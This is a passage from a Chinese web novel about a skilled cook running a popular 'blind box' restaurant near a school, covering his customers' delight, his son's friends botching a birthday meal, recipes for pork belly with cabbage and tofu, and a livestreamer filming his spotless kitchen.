冬天喝点热汤，浑身都暖和起来，随着天气变冷，原本不爱点汤的顾客都开始买起汤来。于是今天晚餐，最先卖完的反而是菌菇肉丸汤。 “李婶别忙了，你先去吃饭吧。”将最后几份菜打完的同时，楚易文顺口招呼刚擦完桌子的李老太太。 李老太太抬头在店内张望一圈，见确实没有桌子需要擦，这才转身往厨房里走。 她在洗抹布时，刚吃完饭的邵言易已经起身走过来，将她和楚易文的晚餐都端到外面桌上。 见邵言易把自己的活都干了，原本准备起身的楚瑾钰重新坐好，摸着肚子感叹有点吃撑了。 他话落，比他吃得更撑的胡一齐直接打了个饱嗝。 在楚易文和李老太太开始吃饭时，小月已经吃完饭和爷爷他们走在回家的路上。 平日生怕吃太多会发胖的她今天晚餐吃到了十分饱，此时撑的脚步比两个老爷子还要慢。 刚刚在店里由于饭太好吃，她都没工夫说话，现在吃饱喝足，一路上嘴巴就没停过，不停感叹：“土豆炖牛肉也太好吃了，怎么会有这么好吃的菜，肉里半点腥味都没有，炖得又烂又入味……就连胡萝卜味道都很好，没有那股尖酸刻薄味。” 是的，小月不爱吃胡萝卜的原因，就是感觉胡萝卜有股奇怪的味道，非要让她描述的话，她只想用“尖酸刻薄”这个词。 听到她如此描述胡萝卜的味道，旁边两位老人都不自觉笑起来，觉得年轻人说话就是有意思。 “鸡爪也好好吃，火候和调味都特别完美，最重要的是，鸡爪一点异味都没有，处理得特别干净，还有黄豆……” 小月回味着晚餐的美味，说话声音都微微上扬，显然心情很不错。 说实话，她之所以会在临近年底时辞职，就是因为公司里傻逼太多，导致她心情极度抑郁。辞职后情绪虽然放松些，但心底多少还有点郁闷，只是不愿意在家人面前表露出来。 此时美味到极致的饭菜，却是让她发自内心感到高兴，压在心底的那点郁闷都被吃到美食的幸福给驱散。 听到孙女一路叽叽喳喳的声音，黄老爷子非但没觉得她吵闹，反而不自觉露出慈祥的笑容。 回到家里，小月那股吃到绝世美食的兴奋劲还没消退，拿出手机和朋友们分享起来。 她辞职后是解放了，她的朋友们有些还没下班，不过看到消息时，却是摸鱼回复她。 【无图无真相，我才不信咱们学校边能有什么美食。】 这个朋友是小月高中同学，听到她夸高中旁边的餐厅有多好吃，第一反应就是不信。 由于饭菜太美味，小月还真没想起来拍照的事，直接表示明天拍给她看，保证馋死她。 她正跟朋友瞎聊时，一通电话忽然打过来，她直接接通喊了声：“爸。” “怎么样，跟你爷爷说了没？他有没有答应过来？” “爸你急什么，我才刚回老家，怎么也得住些日子吧。” 如果说去盲盒餐厅吃饭前，小月想着一个星期内把爷爷带回首都，那么她现在则是已经改变主意，觉得好不容易回来一趟，怎么也得多住些日子。 什么？你问她多住些日子是住几天？小月表示她哪知道，先住着再说呗。 黄父不知道女儿心里的想法，觉得她说的也有道理，于是话题一转：“你手里有钱用吗？要不要我给你转点钱？” “要，下午是爷爷请我吃的饭，哪好意思一直让爷爷花钱，爸你给我转点钱，明天开始我来付账。” “钱转过去了，你别带爷爷出去吃，外面做的没有家里干净，自己买点菜在家做着吃。”黄父交代道。 小月：“爸你认真的？你也太看得起我的手艺了。” 吃过盲盒餐厅的饭后，她自己都嫌弃自己做的饭，就算爷爷再疼她，他味觉又没出问题，怎么可能放着那么美味的菜不吃吃她做的。 “你多学学，自然会越做越好。” 小月不想继续跟她爸聊这个话题，随口敷衍几句，确定钱已经转过来就直接挂掉电话。 接下来的日子，她每天跟爷爷他们一起准时准点去盲盒餐厅吃饭。为此，辞职后经常熬夜熬通宵，睡到下午才起的她连夜都不熬了，只为能十点多出门等饭吃。 一个星期后，盲盒餐厅里每天不同的菜色，已经吃到她乐不思蜀，完全忘记回老家的目的。 第82章 白菜豆腐五花肉煲 以前有多喜欢周末, 回老家后小月就有多烦它，原因自然是盲盒餐厅周末不营业。 中午时她还跟爷爷去附近其他店吃了顿饭，结果味道只能算是正常水平, 并不令人惊艳。发现并不是老家所有店都像盲盒餐厅那么好吃，小月对晚餐已经失望，决定吃碗泡面凑合下，明天再去盲盒餐厅吃大餐。 由于今天没吃好饭，傍晚接到她爸打过来的电话时，小月声音都有气无力。 “怎么了？生病了？” “没生病，爸你有什么事？” 黄父：“你和你爷爷什么时候回来？” “额……”小月听到这话, 心里完全没有想回去的意思，未免她爸骂她，于是甩锅道, “爷爷不愿意走，我再多住段时间劝劝他。” 这边父女二人通电话时，另外一边, 楚家。 今天是楚易文生日，楚瑾钰几个孩子一大早就凑到一起, 拍着胸口表示换他们来做饭。 到楚易文这个年纪，其实对生日已经不怎么看重，不过难得儿子有这份心，他还是挺欣慰。 洗菜几个孩子还是没有问题, 看到他们切菜时，楚易文有点不放心：“要不还是我来切。” “哎呀爸，你别在这站着，你去书房里玩会游戏，或者看看电影。” 本来楚瑾钰还想让他出去钓钓鱼, 但今天外面风太大，未免他被吹进河里去，楚瑾钰还是将这个选项去掉。 最终，楚易文被几个孩子一起推进书房里，电脑桌上还被他们摆满水果、零食、饮料。他轻笑两声，随即真开始按照儿子说的看起电影来。 将他驱逐出厨房后，楚瑾钰四人重新回来，继续开始准备午餐。 “楚瑾钰你切的是什么玩意，我们是炒土豆丝，不是炸薯条。”胡一齐看到菜板上和薯条差不多的土豆丝，忍不住吐槽。 楚瑾钰：“你行你来啊！” 平常看他爸切菜时总感觉特别容易，但现在亲自上手，菜刀完全不听话，他觉得自己能切成这样已经很不错。 “我来就我来。”胡一齐说完走过去和他换位置。 三分钟不到，楚瑾钰嗤笑一声：“你这切的还不是粗的粗，细的细。” “至少比你切的好！”胡一齐反驳。 楚瑾钰：“拉倒吧，我切的虽然粗了点，但至少均匀……” 商时贸被他们俩吵得耳朵疼，没好气道：“你们两个半斤八两，五十步笑一百步。” 他们之前都没做过菜，但还挺自信，敢定下五菜一汤。酸辣土豆丝、番茄炒蛋、红烧排骨、米粉蒸肉、油焖大虾、香菇鸡汤。 厨房里放着楚易文拍的视频，他们边看边吵吵闹闹地互相嫌弃，终于把食材全部准备好。 “你干嘛？”叶其林看到胡一齐拿着锅铲不由开口。 胡一齐：“炒菜啊。” “应该要先炖汤吧？”叶其林语气透着不确定。 楚瑾钰好歹经常看他爸做饭，闻言赞同道：“确实要先炖汤，汤费时间。” 于是几个人手忙脚乱将食材放入砂锅里，开始炖汤。 有楚易文的视频当参考，他们好歹知道香菇炖汤前需要泡发，没直接将干香菇丢进砂锅里。 等将汤炖上，他们决定先做红烧排骨。实际上红烧排骨有个难点，那就是炒糖色，其实不适合他们几个新手做，因为很容易将糖色炒过头，变得很苦。 哪怕有教程参考，楚瑾钰他们做菜时还是手忙脚乱，锅里更是不停溅出油花，惹得几人惊呼连连。 终于将锅盖盖上时，灶台旁边已经是一片狼藉，胡一齐拍着胸口道：“楚瑾钰，你说楚爸厨艺那么好，你怎么一点都没遗传到？” “滚，要你管。” 眼见两个人又一言不合在厨房里打闹起来，商时贸闻着锅里那股总感觉有点怪怪的味道，心里有些后悔，觉得早知道还不如去酒店订一桌菜。 但现在后悔已经晚了，他只能陪着楚瑾钰几人一起把菜做下去。 书房里，楚易文看完一部电影，又拿起儿子留在旁边的游戏机玩了会，见还没人来喊自己，等到十二点多时终于忍不住出去。 “嗯，还挺香。” 走到厨房外，他闻见鸡汤的香味笑着夸了句。 实际上和他炖的鸡汤比起来，这股香味很没有层次感，纯粹就是肉味，而且还不够浓郁。同时厨房里飘着股略带苦味的焦糖气息，楚易文不用进去就知道，十有八九是他们炒糖色翻车了。 不过孩子们的心意值得鼓励，他自然不会扫兴，反而表现得很捧场。 看到他过来，楚瑾钰小跑出去推着他往沙发那边靠：“爸你坐着休息会，马上就能吃饭了。” 与此同时，胡一齐他们手忙脚乱拿着抹布擦着案台和地板，显然是怕他看到厨房内此时的狼藉。 楚易文顺着儿子的力道坐到沙发上，通过嗅觉敏锐地察觉到厨房里缺少关键的味道，不由开口：“你们蒸饭没有？” 他话落，厨房内胡一齐三人下意识看向电饭煲，才发现他们竟然忘记这回事。 得到一片沉默的回答，楚易文还有什么不明白，开口道：“没煮饭正好，我中午想吃蒸饺，冰箱里有饺子。” “好的，我现在去蒸饺子。”楚瑾钰小跑进厨房，赶紧拿饺子出来蒸。 快一点时，饭菜终于全部上桌，除了香菇鸡汤看起来还行，其他几个菜卖相都有点一言难尽。红烧排骨颜色发黑发暗；酸辣土豆丝里面辣椒壳都被烧黑，土豆更是粗的粗，细的细；番茄炒蛋的鸡蛋特别碎，番茄则是烂糊糊没有形状；米粉蒸肉不够干爽，看起来又湿又油腻；油焖大虾明显被烧焦了，哪怕他们努力摆盘，还是能看见点黑色。 刚蒸好的饺子冒着热气，看起来倒是最正常的一个。 楚瑾钰：“爸，要不我们还是出去吃吧……” 他望着桌上的菜，觉得这比食堂做的还一言难尽，语气透着几分不好意思。 “都做好了，干嘛出去吃。”楚易文说完直接坐下来，握着筷子先尝了口土豆丝，“不错，炒熟了，咸淡也还行。” 听到他的话，胡一齐摸着脑袋“嘿嘿”笑起来：“有些土豆丝太粗了，炒不熟，就加了点水进去煮，我现在算是明白，为什么食堂好多菜都跟水煮出来一样……” 看到楚易文开动，楚瑾钰他们也纷纷拿起筷子，哪怕菜是他们自己做的，吃完还是想说一句——真难吃！ 楚瑾钰：“爸，那个虾都焦掉，还是别吃了。” “没事，把壳剥掉就好。”楚易文说完剥掉虾壳将虾肉送进嘴里，肉质有点老，但也不是不能吃。 其他菜都还能凑合吃一下，但红烧排骨是真不行，炒糖色时那发苦的糖浆被后面的炖煮完全炖入味，整块排骨吃起来又柴又苦。 胡一齐：“我算是明白什么叫看着容易做起来难，明明平常看楚爸你做菜很简单，结果……” “是啊，太难做了。”楚瑾钰深有同感，觉得比试卷还难做。 楚易文闻言眼中带着几分笑意，鼓励道：“第一次做饭能做成这样已经很不错了。” “楚爸你放心，晚上我们肯定会让你吃好的！”叶其林将味道还凑合的鸡汤一饮而尽后，边擦嘴边说。 “晚上你们还要做啊？”楚易文很想说不用了，倒不是他嫌弃，主要是觉得没必要，“你们作业做完了吗？” 楚瑾钰：“爸你放心，昨天晚自习时我就在学校做完了。” 楚易文听到作业做完了便不再说什么，觉得他们想做就做吧。 下午，趁着外面没再刮风，甚至难得出了点太阳，楚易文直接出门钓鱼去。他刚来到老地方，很快身边就出现不少猫，有些直接蹲他脚边，有些趴在不远处晒太阳。 当他钓起第一条鱼时，猫猫们眼睛全都随着鱼竿上晃动的小鱼移动，在他把鱼取下来丢到地上时，一只橘猫快速抢到鱼吃起来。 他在河边钓鱼时，家里楚瑾钰几人吸取中午的经验，晚上直接买了食材和火锅底料，决定吃火锅。当然，既然是过生日，生日蛋糕肯定少不了，下午四点多散发着香甜气息的蛋糕就被送过来。 今天楚易文收获还不错，等到他开车回家时，天色已经开始变暗。 他进入家门，闻见一股牛油麻辣香气时，顺口道：“晚上吃火锅？” “爸你鼻子也太灵了……”楚瑾钰感觉这样都没有惊喜。 楚易文轻笑一声，举着自己手里的鱼道：“那正好，我把鱼给片了加道菜。” 这次楚瑾钰没再阻拦，毕竟他们连土豆丝都切不好，更别说片鱼。 等到天色完全黑透时，晚餐终于开始，桌上除了楚瑾钰他们准备的丰富食材，还有两盘现切的鱼肉。 “楚爸来，多吃点牛肉。” “爸，你的鱼好了。” 开饭后，楚瑾钰他们目不转睛盯着锅里，将煮好的食材捞起来后却是不约而同送到楚易文碗里。 两分钟不到，楚易文碗里就被堆满鱼、肉、虾，他赶紧开口：“好了好了，你们自己也吃。” 他语气里满是笑意，显然孩子们的心意令他感到高兴。 太阳落山后，外面又开始刮起风来，在寒冷的冬天吃火锅再适合不过，餐桌上升腾起的热气看着就令人感到温暖。 在孩子们的热情下，晚餐直接把楚易文给吃撑了，他感觉这是自己吃过最美味的一顿火锅。 吃饱喝足，楚瑾钰、叶其林、商时贸拿着最新出的游戏卡带拉着楚易文一起打游戏。至于胡一齐，他石头剪刀布输了，得去收拾卫生。 可以四人一起玩的游戏对楚易文来说有点幼稚，但有时候玩游戏玩的并非游戏本身，而是一种氛围，他很快就融入其中。 通过游戏消耗一下多余能量后，终于来到吃蛋糕环节，家里瞬间就响起几个孩子扯着嗓子唱生日歌的声音。 蛋糕吃完时间已经不早，楚易文给叶其林他们家长打了个电话说一声，晚上直接留几个孩子在家里住。 对于孩子在同学家留宿，胡父觉得有人帮他管孩子，简直求之不得。 而叶家，叶父忍不住嘀咕几句，觉得儿子跟别人爸爸比跟自己还亲。 叶母闻言道：“行了别酸了，儿子有那么好的朋友又不是坏事，他这学期期中考试都进入班级前八了。” 提到儿子这次期中考试成绩，叶父确实高兴，已经期待起期末儿子再进步几名，等到明年高考考个好分数。 叶家夫妻话题已经转移到高考时，商家，商母忍不住对丈夫道：“你觉不觉得时贸有些不对劲……” “有吗？他最近不是挺听话的。”商父觉得小儿子这学期表现得还不错，期中考试全班第二，期末努努力应该能拿第一，而且说他也不怎么顶嘴了。 商母：“我总感觉他跟我们越来越不亲了。” “哪有，我看是你想太多，行了，早点睡吧。” 商母还想说什么，见商父已经躺下睡觉，只能收回到嘴边的话。 楚家，被当妈的认为有些不对劲的商时贸这会在楚家玩得正开心，脸上满是笑容。 切完蛋糕后几个孩子是真玩嗨了，如果不是楚易文想到明天还要上学，提醒他们准备睡觉，还不知道闹到几点去。 “爸，明天不想上学……” 楚易文：“你跟我说也没用啊，早点睡吧，再有一个月左右就放寒假了。” 他话落，楚瑾钰几人又磨蹭一会才回房间洗漱，不过躺在床上却是没立刻睡觉，而是闲聊起来。 “中午那个红烧排骨简直不是人吃的，从这点上看，我忽然觉得食堂的饭菜也没那么差。” “拉倒吧，我们做的难吃，但我们有自知自明，又没拿出去卖钱，食堂是又难吃还想赚钱，根本不能放在一起比。” “好像也对，不过自己动手做过以后，我才更加理解楚爸的手艺有多好。” “是啊，楚爸太厉害了！” 楚易文并不知道孩子们临睡前还在对他夸夸夸，否则怕是要把眼睛都笑弯。 今天连早餐都是几个孩子从外面买回来，他整天都没有下厨，这会躺在床上总感觉少了点什么，干脆随便选择一个菜谱进入系统厨房。 冬天适合吃点热乎的，白菜豆腐五花肉煲就很不错。这道菜做法不难，老爷子简单讲一遍做法后就站在旁边，看他自己动手。 楚易文将带皮五花肉处理干净，切成略厚的肉片，大白菜清洗完后将菜叶与菜帮分离，菜叶撕成大片，菜帮用刀切成均匀的薄片。 两种主要食材处理好，他开始切豆腐，豆腐切成小块用油煎成两面金黄，这样既能激发食材的豆香，还能去除豆腥气，同时炖煮过程中不容易碎，可谓是一举多得。 随着浓郁豆香混着焦香飘满厨房，豆腐被全部煎好，盛到盘子里散发出金黄油亮的光泽。 豆腐煎好，楚易文直接用砂锅放一点点油将葱、姜、蒜、干辣椒爆香，随即加入五花肉煸炒，将肉片多余油脂煸出来，等到肉片微微变色时，加入料酒去腥。 随着五花肉边缘被炒得微焦时，浓郁的肉香飘出来，楚易文将白菜帮下进去翻炒，炒到菜帮变软时，加生抽、老抽、白胡椒粉等调料调味上色，倒入热水开始炖煮。 加入豆腐铺进入，小火炖煮十五分钟，让白菜和豆腐充分入味后，楚易文将白菜叶加进去，继续小火再煮一会，浓郁的肉香、豆腐香以及白菜豆腐清香源源不断冒出来，闻着就令人食欲大开。 菜出锅，楚易文亲自品尝起来，感觉这热乎乎的炖菜特别适合冬天吃，决定明天就在店里做。 次日。 冬天觉实在太好睡，以至于楚瑾钰和胡一齐根本不愿意起床，还是商时贸喊他们俩半天，才终于将人叫起来。 “太难了，这日子真是没法过了……” 星期一早上是楚瑾钰厌学情绪最重的时候，根本不想去学校。 商时贸：“你知足吧，一大早就有楚爸给你做早餐，已经很幸福了。” 说实话，以前还好，大家都是半斤八两，自从高二开始，他心里是真越来越羡慕楚瑾钰。 同样不想上学的胡一齐闻言，鼻子在空气中轻嗅两下，感觉闻到炸红薯饼的香气，瞬间就精神起来，脸都没洗就直接跑出去。 “好香啊！楚爸你在做红薯饼吗？” “对，刷牙洗脸没？洗完了就过来趁热吃。”楚易文招呼道。 早餐除了红薯饼，他还炸了点虾饼，另外打了玉米汁，厨房里此时被清甜的玉米香、油炸的焦香、虾鲜味、红薯香给填满。 “我现在就去洗。”胡一齐说完快去快回，没多久就坐在餐桌上享用着热乎乎的早餐。 “好好吃啊！” 红薯饼外脆里软，外壳在油炸的高温下形成几分焦糖色，咬上去时格外酥脆。虾饼吃起来特别鲜，香脆鲜美的滋味，好吃到令人满足。玉米汁清甜可口，配上红薯饼和虾饼，好喝又解腻。 油炸食品当然是刚炸出来时最美味，楚瑾钰吃着香喷喷的早餐，在美食的安抚下，厌学情绪都少了很多。 吃饱喝足，楚易文开车送他们上学，车上胡一齐还在回味早餐的美味：“楚爸，你做的虾饼和红薯饼真好吃！” “喜欢吃改天再给你们做。”楚易文说完已经到学校门口，停车目送他们进入校门后，开车前往菜市场。 他和他家店如今在云市确实很有名气，去买菜时竟然被人认出来，还有人表示中午要过去吃饭。 楚易文笑着表示欢迎，等买完菜就直接回店里去。 等他走后，刚刚认出他的中年人对旁边人道：“我女儿特别爱去他家店吃饭，现在看来还是有道理的，刚刚他买的菜都是挑最好最新鲜……” “他家店叫什么名字？等有空我也去尝尝。” 盲盒餐厅。 店内李老太太比他还先过来，闲不住地将店内桌子又擦了一遍。本身楚易文就是个很注重卫生的人，自从请了李老太太后，店里干净程度更是又上一个台阶。 楚易文将食材拿进厨房，休息会后就开始准备今天的午餐。 冬吃萝卜夏吃姜，冬天很合适吃萝卜，中午他准备炖个萝卜羊肉汤，再做昨晚新学的白菜豆腐五花肉煲。 当汤开始炖上时，没多久就从厨房里飘出一股羊肉鲜味，其中还夹杂着萝卜特有的清香。 隔壁文具店，王老板夫妻俩闻见这股香味时，明明才吃过早餐不久，感觉肚子又有些饿起来。 “真香啊，昨天一天没吃他家饭，还怪想的。” 王老板话落，昨天在家做饭的妻子转头看向他：“你的意思是嫌我做的饭不好吃？” “怎么会，你做的饭特别好吃。”王老板赶紧道。 他们作为隔壁邻居，近水楼台先得月，倒是不急，随时都能赶上去店里吃饭。倒是黄家，小月昨天一天都没吃好，今天九点多就换好衣服想要出门。 黄老爷子有些哭笑不得：“九点太早了，不至于。” 小月听到爷爷的话，又坐在沙发上玩会手机，等到九点五十八分时，立刻起身边换鞋边道：“爷爷，已经要十点了，我们快出去吃饭吧！” 他们家离学校步行也就六七分钟，十点半之前去都来得及。但见孙女如此迫不及待，黄老爷子还是配合地起身。 等他们来到店门口时，已经炖了一个小时以上的萝卜羊肉汤香味已经飘到街上，扑鼻而来的香气简直能馋死个人。 小月深吸一口气，还没吃脸上就已经露出几分陶醉，脑海中已经根据香味联想到羊肉汤的美味。 和她一样昨天没吃到饭，今天惦记得不行的老顾客还有很多，有时间的就自己来，没时间的就喊跑腿。十点半还不到，店内已经坐满人。 小月望着这么多人，不由得意起来，对爷爷道：“看吧，还好我们今天提前出门了，不然肯定要排好久的队。” 第83章 木须肉 黄老爷子也没想到今天人都来得那么早, 顺着孙女的话笑着夸了她几句。 他们祖孙俩聊天时，旁边顾客们也都三三两两说着话。 “昨天店里没营业，我在家点的外卖, 明明以前吃着还不错的店，现在却是觉得越吃越不好吃。” “我也是，昨天点了份地锅鸡，感觉鸡肉有点柴，多吃两口还感觉有点腥……” 显然，不少顾客自从来盲盒餐厅吃饭后，嘴巴都被养叼了, 明明以前吃着还不错的外卖，现在都能挑出毛病来。 “好饿啊，不知道今天有没有红烧肉, 他家红烧肉我可太喜欢吃了。” “我也爱吃红烧肉，还有脆皮猪肘，妈呀, 光是说说我口水都快出来。” 店里本就香气四溢，顾客们再讨论一下自己爱吃的菜, 那真是口水都要流下来。 好在随着学校内响起铃声时，他们终于看到楚易文往外端菜的身影。 最先被端出来的是白菜豆腐五花肉煲，经过炖煮，五花肉变得微微透明, 瘦肉部分呈现酱色，肥肉部分晶莹剔透；白菜被煮软，黄绿色的菜叶、半透明的菜帮卧在汤里看起来水润饱满；豆腐先煎再炖，表面是诱人的金黄色；浓郁带着油光的汤汁包裹在食材上，整体卖相看起来令人食指大动。 五花肉的鲜香混着白菜的清香, 以及豆腐特有的豆香，让整道菜闻起来特别诱人。 与此同时，菜上升腾的热气更是令人感觉很温暖，恨不得赶紧吃上两口：“老板，我要这个白菜豆腐……” 随着顾客们一个个打完菜走开，终于轮到小月他们，一行三人很快点好饭菜，端着去座位上吃。 冬天需要补充脂肪来抗寒，平常没那么爱吃肥肉的小月此时握着筷子，先夹起片五花肉送进嘴里。 五花肉经过煸炒和炖煮，里面多余的油脂早就被煮出来，此时吃起来肥而不腻，瘦而不柴，满满都是浓郁的脂香。 小月咀嚼着嘴里的肉片，那酥软入味，肉香中带着丝白菜清甜的滋味，好吃到她露出满足的表情。 连吃两片五花肉，她又夹了点白菜，菜叶吸满汤汁，吃起来柔软入口，菜帮炖得特别软糯，咸鲜中带着食材本身的清甜。 发现白菜和五花肉一样好吃，她眼睛微微一亮，不由多吃几口。 她在忙着吃肉和菜时，旁边两位老爷子却是先吃豆腐。煎过的豆腐表面带着焦香与韧性，内部则吸收汤汁，咬下去时有微微汁水感，咀嚼间豆腐本身的香味，肉和白菜豆腐气息在嘴里蔓延开来，越吃越有滋味。 “小月，你尝尝这豆腐，炖得特别香。” 对于老年人来说，豆腐又好吃还不费牙，黄老爷子吃着觉得好，忍不住招呼孙女。 小月听到爷爷的话，顺手夹起块豆腐，豆腐特有的豆香混着微微焦香、肉香、酱香扑鼻而来，让她不由直接咬上去，立刻被烫到。 心急吃不了热豆腐，她被烫到实在很正常，然而就算如此，随着汤汁在味蕾上蔓延，尝到那股浓郁的咸鲜味时，她却是舍不得吐出来，微微张口缓了会就开始咀嚼。 “好吃哎！没想到炖出来的豆腐也能那么香！”她平常只爱吃煎豆腐，觉得煎的比较香，现在却是对炖豆腐改观。 热乎乎的白菜豆腐五花肉煲，简直太适合冬天吃，不光美味，几口下肚，更是吃得人身体都暖和起来。 周老爷子：“真是舒坦。” 和他一样吃舒坦了的顾客还不少，甚至旁边还有人可能是吃热了，直接把外套给解开。 厨房旁边的桌子上，胡一齐吃得额头都微微冒汗，边吃边夸：“没想到白菜豆腐也能这么好吃。” 平常他起身更爱吃肉，但今天这道白菜豆腐五花肉煲，却是让他平等的喜爱每样食材。 白菜的清甜、肉的咸鲜、豆腐的嫩滑多汁，甚至连汤都格外美味。五花肉的油脂、白菜豆腐精华、豆腐的豆香都被煮进汤里，加上调料的酱香气息，这汤拿来拌饭那叫一个香。 商时贸赞同地点点头，又夹了几筷子白菜放到碗里，感觉特别清甜美味。 “楚爸太会做了，他总是能将五花肉做得一点都不腻。”叶其林夹着片五花肉夸道。 楚瑾钰：“确实，看着明明挺肥的肉，吃进嘴里只剩香。” “油脂都煮进汤里，所以汤才那么鲜，豆腐也才那么美味。”邵言易同样被白菜豆腐五花肉煲给惊艳到，跟着开口。 白菜、豆腐都是比较便宜的食材，平日里他们家经常吃，邵言易还是第一次发现，原来白菜豆腐还能这么好吃。 几人中数胡一齐吃饭速度最快，他很快就吃完两碗饭，意犹未尽地望着桌上剩下的菜开始喝汤。 其实他还没吃够，但今天中午有萝卜羊肉汤，炖得鲜美无比的羊汤他自然不能错过，自然得留着肚子来喝汤。 “唔，真鲜啊！” 萝卜羊肉汤咸鲜中带着萝卜的清甜，喝起来简直令人陶醉，同时几口热汤下肚，这下胡一齐是真有点热，直接把外套给脱掉。 冬天来上碗热乎乎的羊肉汤简直再合适不过，营养又美味，他喝几口汤吃块羊肉，再来口萝卜，脸上露出享受的表情。 “一齐怎么把外套给脱了？别着凉了。”李老太太擦完桌子走过来时，就看见胡一齐身上穿着羊绒毛衣，外套被丢在旁边，不由关心道。 胡一齐：“喝汤喝得我都冒汗了，待会再穿。” 他话落，老太太注意到他额头的汗，笑着道：“冬天喝羊肉汤好，特别补，你们都多喝点。” 秋冬季节特别适合进补，往常冬天她哪有钱舍得买羊肉，想到现在孙子每天能吃到各种肉，她就觉得这个工作特别好。 干劲满满的李老太太说完，继续转身去收拾店里卫生，保证只要桌子空出来，立刻就擦干净，让有需要的顾客可以坐到干净位置。 “怎么又没有了……” “老板，米饭还有吗？” 楚易文：“米饭倒是还有一点。” “那给我来份米饭，你家饭特别好吃。” “有米饭？那我也要一份。” 见顾客们连白米饭都抢着要买，楚易文有些哭笑不得，不过还是卖给他们。 几个买到白米饭的顾客直接从旁边小超市买了瓶辣椒酱，用辣酱拌饭，竟然也吃得挺香。 其实楚易文是可以简单给他们炒个鸡蛋什么的，但他不敢开这个头，否则接下来顾客们肯定都会有样学样。 他收拾好东西直接招呼李老太太一起吃午餐，至于几个孩子，早就已经吃完，坐在桌上前闲聊。 “这白菜豆腐真好吃。”李老太太刚开始吃就忍不住先夸一句，夸完很快沉浸到饭菜的美味中。 邵言易看到奶奶吃得那么香，心里很是高兴，趁着她不注意，悄悄起身拿了抹布去收拾桌子。 楚易文倒是看见了，不过没说什么，看到儿子又握着筷子蹭自己的菜吃时，将盘子往他那边推了推。 跟教室比起来，明显是店里更暖和些，而且在这里玩手机不怕被老师抓，因此楚瑾钰他们几个吃完饭并不急着走，直到楚易文午餐都已经吃完，才终于愿意起身。 孩子们走后，李老太太也回家休息去，楚易文望着外面天色，感觉不是很适合钓鱼，便干脆没回家，而是去附近书店又买了几本书，坐在店里听着呼呼风声看书。 沉浸在书籍的海洋中，时间过得特别快，等他把书合上，差不多又要开始准备晚餐。 进入厨房，楚易文先将排骨焯水，再将莲藕削皮切块，显然是准备炖个儿子最喜欢喝的莲藕排骨汤。 在他忙着炖汤时，不远处的街旁，有外卖小哥正坐在车上休息。现在不是饭点，几乎没什么单子，他要养精蓄锐，等到晚餐高峰的来临。 在冬天时不时一阵寒风下，他倒是不困，只是从上午跑外卖到现在的疲倦，还是让他不由打个哈欠。 外卖小哥刚打完哈欠，旁边忽然走过来两个人，一人在前面带笑容和他打招呼，一人在后举着镜头。 “你好，给你两百块钱，可以给我推荐一家你认为干净的店吗？” 说话的男人是网上还比较有名的探店主播，账号名叫“风哥”，他探店和其他主播不同，都是找外卖小哥搭话，由对方推荐。 外卖小哥看着他道：“我认识你，我刷到过你的视频。” “那太好了。”风哥听到外卖小哥认识自己，脸上不由露出笑容，“附近有什么店推荐吗？要干净卫生的那种。” 外卖小哥不假思索道：“有倒是有，不过他家不做外卖。” “不做外卖你怎么知道那里店？”风哥好奇。 “那家店没有外卖，但味道特别好，有不少顾客都会叫跑腿去买，我都接过好几次他家单子。” 风哥的直播一般是以外卖店铺为主题，毕竟这年头好多年轻人都靠外卖为生，对外卖的卫生情况他们还是挺关心。 此时听到骑手推荐了一个不做外卖，但他去过好几次的店铺，不由看向镜头：“家人们，怎么说？你们觉得要不要去这家店？” 【去呗，去看看到底是什么店那么吸引人。】 【不做外卖有什么好去的，让他换个店推荐，总不至于那么大个云市，还找不出个干净的外卖店。】 【等等，他推荐的该不会是我知道的那家店吧？】 【什么店你直接说，不要当谜语人。】 【就是云市最近很火的盲盒餐厅，我老家在云市，朋友前两天才跟我夸过他家饭菜特别好吃，就是不做外卖，得请跑腿帮买。】 【盲盒餐厅？我好像在网上刷到过。】 风哥看到粉丝评论，不由转头询问：“你说的那家店是叫盲盒餐厅吗？” “对。”外卖小哥点头，回忆起他家饭菜的美味，肚子忽然感觉有点饿。 说实话，他平常去取单子时，从来不会在店里消费，但盲盒餐厅绝对是个例外，只要过去根本忍不住不吃。 听到他肯定的回答，风哥再次看向直播间询问粉丝们的意见，见他们都被盲盒餐厅勾起好奇心，于是决定这次直播就去那里。 很快他就跟着外卖小哥来到学校外面，还没走到店门口，已经闻见莲藕排骨汤特有的香味。 “谁家在炖汤，好香。”风哥轻嗅着鼻子道。 外卖小哥拿到两百块钱，还能跟他一起到盲盒餐厅吃饭，心情很是愉悦，闻言笑着开口：“肯定是盲盒餐厅炖的汤。” 说话间他们一起进入店中，此时明明离饭点还有好一会，店里却是已经坐着不少人。与此同时，镜头从店里扫进店外，直播间里粉丝们纷纷表示，店铺看起来不大，但确实很干净。 【门面干净有什么用，主要还是得看厨房，主播别磨叽了，赶紧进厨房看看。】 风哥当然知道一家饭店卫生最重要的地方是厨房，他试着询问，得知这家店老板同时兼顾厨师，不由走到厨房门口：“你好……” 楚易文听到他表明来意有点诧异，不过他本身做菜时就会录视频，倒是不怕别人拍。 见对方态度十分诚恳，楚易文点头答应下来。 并不是所有老板都愿意向外展示厨房的，风哥做直播过程中，十次至少有八次会被拒绝，此时听到他同意，赶紧开口道谢。 接下来，外卖小哥在店里找地方坐下，风哥则带着摄像师进入厨房，他们没有靠太近，而是站在门那边，尽量不打扰楚易文做菜。 【好干净啊！竟然连油污都看不到！说句惭愧的话，这比我家厨房还干净。】 【这一看就是新开的店，没有油污不是很正常，等时间再长点肯定没这么干净。】 【你是不是没做过饭啊？但凡做过就知道，厨房里卫生如果不好好打理，都不用一个星期，三天就能带上油污。】 【三天？我一顿饭做完灶台边就溅得到处都是油。】 随着镜头在厨房扫过，很快就扫到台面上已经做好的两道菜，一道红烧鸡翅，一道啤酒鸭。 【好诱人的红烧鸡翅，看得我口水都要下来了……】 【旁边那道是鸡还是鸭？看起来好好吃的样子！】 “不光看起来好吃，闻起来更是香……”风哥怕打扰楚易文做菜，压低声音对直播间里夸起菜的香味。 他说话时，楚易文开始做下一道菜，只见他拿起块里脊肉，握着刀快速切成薄片，再加料酒、生抽、少许白胡椒和水淀粉抓均匀给肉上浆，最后加点食用油进去锁住肉的水分。 这腌肉的动作他做得一气呵成，直播间里粉丝只看到菜刀寒芒闪烁，那么多肉就已经切完，都看得目不转睛。 直到楚易文将里脊肉放到旁边先腌着，开始打鸡蛋时，直播间才瞬间冒出一堆评论。 【我的妈！这刀工，简直有种看电影的感觉，这是人能切出来的速度吗？】 【就刚刚他做的那些要是让我来，一个小时我都搞不完。】 【太流畅了，就冲那刀工，感觉他做的菜肯定好吃。】 